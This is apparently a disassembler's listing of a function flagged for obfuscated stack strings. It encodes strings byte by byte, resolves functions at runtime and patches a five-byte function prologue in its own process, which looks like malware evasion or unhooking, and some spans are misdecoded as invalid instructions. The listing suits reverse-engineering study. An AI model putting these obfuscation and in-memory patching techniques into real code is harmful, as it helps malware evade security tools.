Function at 0x4085eb
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x529], 0xb8
mov byte [ebp - 0x528], 0xb2
mov byte [ebp - 0x527], 0xba
mov byte [ebp - 0x526], 0xb3
mov byte [ebp - 0x525], 0xd6
lea eax, [ebp - 0x534]
push eax
call fcn.00407b15
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00407aca
add esp, 0xc
mov dword [ebp - 0x680], eax
and byte [ebp - 0x664], 0
and byte [ebp - 0x663], 0
mov byte [ebp - 0x662], 0xfc
and byte [ebp - 0x661], 0
mov byte [ebp - 0x660], 0x4b
mov byte [ebp - 0x65f], 0x66
mov byte [ebp - 0x65e], 0x62
mov byte [ebp - 0x65d], 0x73
mov byte [ebp - 0x65c], 0x42
mov byte [ebp - 0x65b], 0x6f
mov byte [ebp - 0x65a], 0x6f
mov byte [ebp - 0x659], 0x6c
mov byte [ebp - 0x658], 0x60
mov byte [ebp - 0x657], 3
lea eax, [ebp - 0x664]
push eax
call fcn.00407b15
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00407aca
add esp, 0xc
mov dword [ebp - 0x67c], eax
call fcn.00407b05
dec esi
pop ds
popfd
add byte [eax - 0x5235b], 0xff
add byte [eax - 0x5225b], al
inc dword [eax]
mov byte [ebp - 0x522], 0x7d
and byte [ebp - 0x521], 0
mov byte [ebp - 0x520], 0xca
mov byte [ebp - 0x51f], 0xe7
mov byte [ebp - 0x51e], 0xe3
mov byte [ebp - 0x51d], 0xf2
mov byte [ebp - 0x51c], 0xc4
mov byte [ebp - 0x51b], 0xf0
mov byte [ebp - 0x51a], 0xe7
mov byte [ebp - 0x519], 0xe7
mov byte [ebp - 0x518], 0x82
lea eax, [ebp - 0x524]
push eax
call fcn.00407b15
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00407aca
add esp, 0xc
mov dword [ebp - 0x39c], eax
call fcn.00407b05
fstp qword [ecx - 0x13]
inc ebp
and byte [ebp - 0x514], 0
and byte [ebp - 0x513], 0
mov byte [ebp - 0x512], 7
and byte [ebp - 0x511], 0
mov byte [ebp - 0x510], 0xbf
mov byte [ebp - 0x50f], 0x9d
mov byte [ebp - 0x50e], 0x8c
mov byte [ebp - 0x50d], 0xbe
mov byte [ebp - 0x50c], 0x91
mov byte [ebp - 0x50b], 0x94
mov byte [ebp - 0x50a], 0x9d
mov byte [ebp - 0x509], 0xab
mov byte [ebp - 0x508], 0x91
mov byte [ebp - 0x507], 0x82
mov byte [ebp - 0x506], 0x9d
mov byte [ebp - 0x505], 0xf8
lea eax, [ebp - 0x514]
push eax
call fcn.00407b15
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00407aca
add esp, 0xc
mov dword [ebp - 0x33c], eax
call fcn.00407b05
inc edx
inc ebx
adc ebx, ecx
push 0x104
lea eax, [ebp - 0x334]
push eax
push dword [ebp + 8]
call dword [ebp - 0x538]
mov dword [ebp - 0x398], eax
mov byte [ebp - 0x544], 1
cmp dword [ebp - 0x398], 0
je 0x408820
cmp dword [ebp - 0x398], 0
je 0x4089cf
cmp dword [ebp + 0xc], 1
je 0x4089cf
cmp dword [ebp + 0xc], 8
jne 0x4089a0
and byte [ebp - 0x6b8], 0
and byte [ebp - 0x6b7], 0
mov byte [ebp - 0x6b6], 0x4e
and byte [ebp - 0x6b5], 0
mov byte [ebp - 0x6b4], 0xe6
mov byte [ebp - 0x6b3], 0xc3
mov byte [ebp - 0x6b2], 0xd8
mov byte [ebp - 0x6b1], 0xc5
mov byte [ebp - 0x6b0], 0xd4
mov byte [ebp - 0x6af], 0xe1
mov byte [ebp - 0x6ae], 0xc3
mov byte [ebp - 0x6ad], 0xde
mov byte [ebp - 0x6ac], 0xd2
mov byte [ebp - 0x6ab], 0xd4
mov byte [ebp - 0x6aa], 0xc2
mov byte [ebp - 0x6a9], 0xc2
mov byte [ebp - 0x6a8], 0xfc
mov byte [ebp - 0x6a7], 0xd4
mov byte [ebp - 0x6a6], 0xdc
mov byte [ebp - 0x6a5], 0xde
mov byte [ebp - 0x6a4], 0xc3
mov byte [ebp - 0x6a3], 0xc8
mov byte [ebp - 0x6a2], 0xb1
lea eax, [ebp - 0x6b8]
push eax
call fcn.00407b15
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00407aca
add esp, 0xc
mov dword [ebp - 0x690], eax
mov byte [ebp - 0x6a0], 0x8b
or byte [ebp - 0x69f], 0xff
mov byte [ebp - 0x69e], 0x55
mov byte [ebp - 0x69d], 0x8b
mov byte [ebp - 0x69c], 0xec
lea eax, [ebp - 0x694]
push eax
push 5
lea eax, [ebp - 0x6a0]
push eax
push dword [ebp - 0x33c]
push 0xffffffffffffffff
call dword [ebp - 0x690]
mov eax, dword [ebp + 8]
mov dword [ebp - 0x6c0], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x6bc], eax
push 0x1000
push 8
push dword [ebp - 0x674]
call dword [ebp - 0x67c]
mov dword [ebp - 0x698], eax
push dword [ebp - 0x698]
lea eax, [ebp - 0x6c0]
push eax
push dword [ebp + 8]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00407cc8
add esp, 0x14
push dword [ebp - 0x698]
push 1
push dword [ebp - 0x674]
call dword [ebp - 0x39c]
mov eax, dword [ebp - 0x33c]
mov esp, dword [ebp + 0x1c]
mov dword [esp - 4], eax
popal
add esp, 0x14
jmp dword [esp - 0x38]
and byte [ebp - 0x544], 0
call fcn.00407b05
xchg edx, eax
mov bl, 0x52
push 0
call dword [ebp - 0x340]
mov dword [ebp + 8], eax
push 0x104
lea eax, [ebp - 0x334]
push eax
push 0
call dword [ebp - 0x538]
and byte [ebp - 0x230], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x22f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x12c], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x12b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x654], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x653]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x504], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x503]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.00407ae3
cdq
test dh, 0x45
clc
das
mov byte [ebp - 0x24], 0x34
and byte [ebp - 0x36c], 0
and byte [ebp - 0x36b], 0
mov byte [ebp - 0x36a], 0x6c
and byte [ebp - 0x369], 0
mov byte [ebp - 0x368], 0xd4
mov byte [ebp - 0x367], 0xf6
mov byte [ebp - 0x366], 0xe7
mov byte [ebp - 0x365], 0xc0
mov byte [ebp - 0x364], 0xea
mov byte [ebp - 0x363], pe_nt_image_headers32
mov byte [ebp - 0x362], 0xe7
invalid
invalid
lahf